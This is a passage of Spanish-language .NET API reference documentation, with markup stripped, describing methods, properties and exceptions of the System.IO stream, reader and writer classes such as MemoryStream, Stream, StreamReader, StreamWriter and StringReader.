secuencia está cerrada. + 2 + + + Lee un bloque de bytes de la secuencia actual y escribe los datos en un búfer. + Número total de bytes escritos en el búfer.Puede ser menor que el número de bytes solicitado si ese número de bytes no está disponible, o bien puede ser cero si se alcanza el final de la secuencia antes de que se lea algún byte. + Cuando este método finaliza, contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los caracteres leídos de la secuencia actual. + Posición de desplazamiento en bytes de base cero de en el que se comienza a almacenar los datos de la secuencia actual. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + + resta de la longitud del búfer es menor que . + La instancia de la secuencia actual está cerrada. + 2 + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia actual. + El byte convertido en un o -1 si se llega al final de la secuencia. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la posición dentro de la secuencia actual en el valor especificado. + Nueva posición dentro de la secuencia, calculada mediante la combinación del punto de referencia inicial y del desplazamiento. + Nueva posición dentro de la secuencia.Esta está relacionada con el parámetro y puede ser positiva o negativa. + Valor de tipo , que actúa como el punto de referencia de las operaciones de búsqueda. + Se ha intentado realizar una búsqueda antes del inicio de la secuencia. + + es mayor que . + Hay un no válido . o bien se produjo un desbordamiento aritmético. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la longitud de la secuencia actual en el valor especificado. + Valor en el que establecer la longitud. + La secuencia actual no es de tamaño variable y es mayor que la capacidad actual.o bien La secuencia actual no admite escritura. + + es negativo o es mayor que la longitud máxima de la , donde la longitud máxima es ( -origin), y el origen es el índice del búfer subyacente donde comienza la secuencia. + 2 + + + Escribe el contenido de la secuencia en una matriz de bytes, independientemente de la propiedad . + Nueva matriz de bytes. + 2 + + + Devuelve la matriz de bytes sin signo a partir de la cual se creó esta secuencia.El valor devuelto indica si la conversión se realizó correctamente. + Es true si la conversión se realiza correctamente; en caso contrario, es false. + El segmento de matriz de bytes desde el que se creó esta secuencia. + + + Escribe un bloque de bytes en la secuencia actual usando los datos leídos en un búfer. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número máximo de bytes que se pueden escribir. + El valor de es null. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual está más cerca que bytes al final de la secuencia y la capacidad no se puede modificar. + + resta de la longitud del búfer es menor que . + + o son negativos. + Se produce un error de E/S. + La instancia de la secuencia actual está cerrada. + 2 + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte en la posición actual de la secuencia actual. + Byte que se va a escribir. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual se encuentra al final de la secuencia y la capacidad no se puede modificar. + La secuencia actual está cerrada. + 2 + + + Escribe el contenido completo de esta secuencia de memoria en otra secuencia. + Secuencia en la que se va a escribir esta secuencia de memoria. + El valor de es null. + La secuencia actual o de destino está cerrada. + 2 + + + Especifica la posición usada para buscar en una secuencia. + 2 + + + Especifica el comienzo de una secuencia. + + + Especifica lo posición actual dentro de la secuencia. + + + Especifica el final de una secuencia. + + + Proporciona una vista genérica de una secuencia de bytes.Esta es una clase abstracta.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase . + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite lectura. + true si la secuencia admite lectura; en caso contrario, false. + 1 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite búsquedas. + true si la secuencia admite búsquedas; en caso contrario, false. + 1 + + + Obtiene un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + Un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + 2 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 1 + + + Lee los bytes de la secuencia actual y los escribe en otra secuencia de destino. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee todos los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer y el token de cancelación especificados. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera todos los recursos usados por . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, borra todos los búferes de esta secuencia y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Se produce un error de E/S. + 2 + + + Borra asincrónicamente todos los búferes de esta secuencia y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Borra asincrónicamente todos los búferes del flujo actual, hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + Se ha eliminado la secuencia. + + + Cuando se reemplaza en una clase derivada, obtiene la longitud en bytes de la secuencia. + Un valor Long que representa la longitud de la secuencia en bytes. + Una clase derivada de Stream no admite la búsqueda. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Stream sin memoria auxiliar. + 1 + + + Cuando se reemplaza en una clase derivada, se obtiene o se establece la posición dentro de la secuencia actual. + Posición actual dentro de la secuencia. + Se produce un error de E/S. + La secuencia no admite búsquedas. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se lee una secuencia de bytes en la secuencia actual y se hace avanzar la posición dentro de la secuencia el número de bytes leídos. + Número total de bytes leídos en el búfer.Puede ser menor que el número de bytes solicitado si dicho número no está disponible, o puede ser cero (0) si se alcanza el final de la secuencia. + Matriz de bytes.Cuando este método devuelve un valor, el búfer contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los bytes leídos del origen actual. + Desplazamiento en bytes de base cero de donde se comienza a almacenar los datos leídos de la secuencia actual. + Número máximo de bytes que se deben leer de la secuencia actual. + La suma de y es mayor que la longitud del búfer. + El valor de es null. + + o es negativo. + Se produce un error de E/S. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Lee asincrónicamente una secuencia de bytes de la secuencia actual y avanza la posición en esta secuencia según el número de bytes leídos. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia y hace avanzar la posición de la secuencia en un byte, o devuelve -1 si está al final de la secuencia. + Byte sin signo convertido en Int32,o bien -1 si está al final de la secuencia. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Cuando se reemplaza en una clase derivada, se establece la posición dentro de la secuencia actual. + La nueva posición dentro de la secuencia actual. + Desplazamiento de bytes relacionado con el parámetro . + Valor de tipo que indica el punto de referencia utilizado para obtener la nueva posición. + Se produce un error de E/S. + La secuencia no admite búsquedas, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se establece la longitud de la secuencia actual. + Longitud deseada de la secuencia actual, en bytes. + Se produce un error de E/S. + La secuencia no admite operaciones de lectura ni escritura, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Cuando se reemplaza en una clase derivada, se escribe una secuencia de bytes en la secuencia actual y se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos. + Matriz de bytes.Este método copia bytes desde al flujo actual. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número de bytes que se deben escribir en la secuencia actual. + La suma de  y  es mayor que la longitud del búfer. + + es null. + + o  es negativo. + Se produjo un error de E/S, como no se puede encontrar el archivo especificado. + La secuencia no es compatible con la escritura. + + se llama después de cerrar la secuencia. + 1 + + + Escribe asincrónicamente una secuencia de bytes en la secuencia actual y avanza la posición actual en esta secuencia según el número de bytes escritos. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte a la posición actual en la secuencia y avanza la posición de la secuencia en un byte. + Byte que se debe escribir en la secuencia. + Se produce un error de E/S. + La secuencia no admite escritura o ya se encuentra cerrada. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Implementa un que lee los caracteres de una secuencia de bytes en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 1 + + + Inicializa una nueva instancia de la clase para el flujo especificado. + Secuencia que se va a leer. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada, con la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada y con la codificación de caracteres indicada. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada y la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + Tamaño mínimo de búfer. + La secuencia no admite lectura. + El valor de o es null. + + es menor o igual que cero. + + + Inicializa una nueva instancia de la clase de la secuencia especificada basada en la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer y, opcionalmente, deja abierta la secuencia. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Es true para buscar marcas de orden de byte al comienzo del archivo; en caso contrario, es false. + Tamaño mínimo de búfer. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + + + Devuelve la secuencia subyacente. + Secuencia subyacente. + 2 + + + Obtiene la codificación de caracteres que actualmente utiliza este objeto . + Codificación de caracteres que utiliza actualmente este lector.El valor puede ser diferente después de la primera llamada a cualquier método de , ya que la detección automática de la codificación no se realiza hasta la primera llamada a un método . + 2 + + + Borra el búfer interno. + 2 + + + Cierra la secuencia subyacente, libera los recursos no administrados que utiliza y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene un valor que indica si la actual posición está al final de la secuencia. + Es true si la actual posición está al final de la secuencia; en caso contrario, es false. + Se ha eliminado la secuencia subyacente. + 1 + + + Objeto en torno a una secuencia vacía. + 1 + + + Devuelve el siguiente carácter disponible pero no lo consume. + Entero que representa el siguiente carácter que se va a leer, o -1 si no hay caracteres que leer o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter de la secuencia de entrada y hace avanzar la posición de los caracteres en un carácter. + El siguiente carácter de la secuencia de entrada que se representa como un objeto , o -1 si no hay más caracteres disponibles. + Se produce un error de E/S. + 1 + + + Lee un máximo especificado de caracteres de la secuencia actual en un búfer, comenzando en el índice especificado. + Número de caracteres leídos. Si se llega al final de la secuencia y no se leyó ningún dato es 0.El número será menor o igual que el parámetro , dependiendo de si los datos están disponibles dentro de la secuencia. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Índice de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + La longitud del búfer menos es menor que . + El valor de es null. + + o es negativo. + Se produce un error de E/S, como el cierre de la secuencia. + 1 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , dependiendo de si se han leído todos los caracteres de entrada. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + + o es negativo. + El se cierra. + Error de E/S. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Línea siguiente de la secuencia de entrada, o null si se alcanza el final de la secuencia de entrada. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente de la secuencia, o es null si se han leído todos los caracteres. + El número de caracteres en la siguiente línea es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la secuencia. + Resto de la secuencia, como una cadena, desde la posición actual hasta el final.Si la posición actual se encuentra al final de la secuencia, devuelve una cadena vacía (""). + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la secuencia y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la secuencia. + El número de caracteres es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir los caracteres de una secuencia en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el fuente de referencia de. + 1 + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación UTF-8 y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + No se puede escribir en . + + is null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación especificada y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + + o es null. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y el tamaño de búfer especificados. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y tamaño de búfer especificados y, opcionalmente deja abierta la secuencia. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Obtiene o establece un valor que indica si vaciará su búfer en la secuencia subyacente después de cada llamada a . + Es true para que vacíe su búfer; en caso contrario, es false. + 1 + + + Obtiene la secuencia subyacente que interactúa con una memoria auxiliar. + Secuencia en la que escribe este StreamWriter. + 2 + + + Libera los recursos no administrados que usa y, de forma opcional, libera los recursos administrados. + truepara liberar los recursos administrados y no administrados; false para liberar únicamente los recursos no administrados. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + + + Obtiene el donde se escribe el resultado. + + especificado en el constructor para la instancia actual o si no se ha especificado una codificación. + 2 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en la secuencia subyacente. + El sistema de escritura actual está cerrado. + Se produjo un error de E/S. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + 1 + + + Borra todos los búferes para esta secuencia de forma asincrónica y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Proporciona un StreamWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe un carácter en la secuencia. + Carácter que se va a escribir en la secuencia. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una matriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir.Si es null, no se escribe nada. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una submatriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una cadena en la secuencia. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comienza la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Implementa que lee en una cadena. + 2 + + + Inicializa una nueva instancia de la clase que lee en la cadena especificada. + Cadena en la que debe inicializarse. + El parámetro es null. + + + Libera los recursos no administrados que utiliza la clase y, opcionalmente, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Devuelve el siguiente carácter disponible pero no lo consume. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + El sistema de lectura actual está cerrado. + 2 + + + Lee el siguiente carácter de la cadena de entrada y hace avanzar la posición de los caracteres en un carácter. + Siguiente carácter de la cadena subyacente, o -1 si no hay más caracteres disponibles. + El sistema de lectura actual está cerrado. + 2 + + + Lee un bloque de caracteres de la cadena de entrada y hace avanzar la posición de los caracteres en . + Número total de caracteres leídos en el búfer.Puede ser menor que el número de caracteres solicitado si dicho número de caracteres no está disponible, o puede ser cero si se alcanza el final de la cadena subyacente. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Índice inicial del búfer. + Número de caracteres que se va a leer. + + es null. + La longitud del búfer menos es menor que . + + o son negativos. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Línea siguiente de la cadena actual, o null si se alcanza el final de la cadena. + El sistema de lectura actual está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + 2 + + + Lee de forma asincrónica una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de cadenas, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Contenido desde la posición actual hasta el final de la cadena subyacente. + No hay memoria suficiente como para asignar un búfer 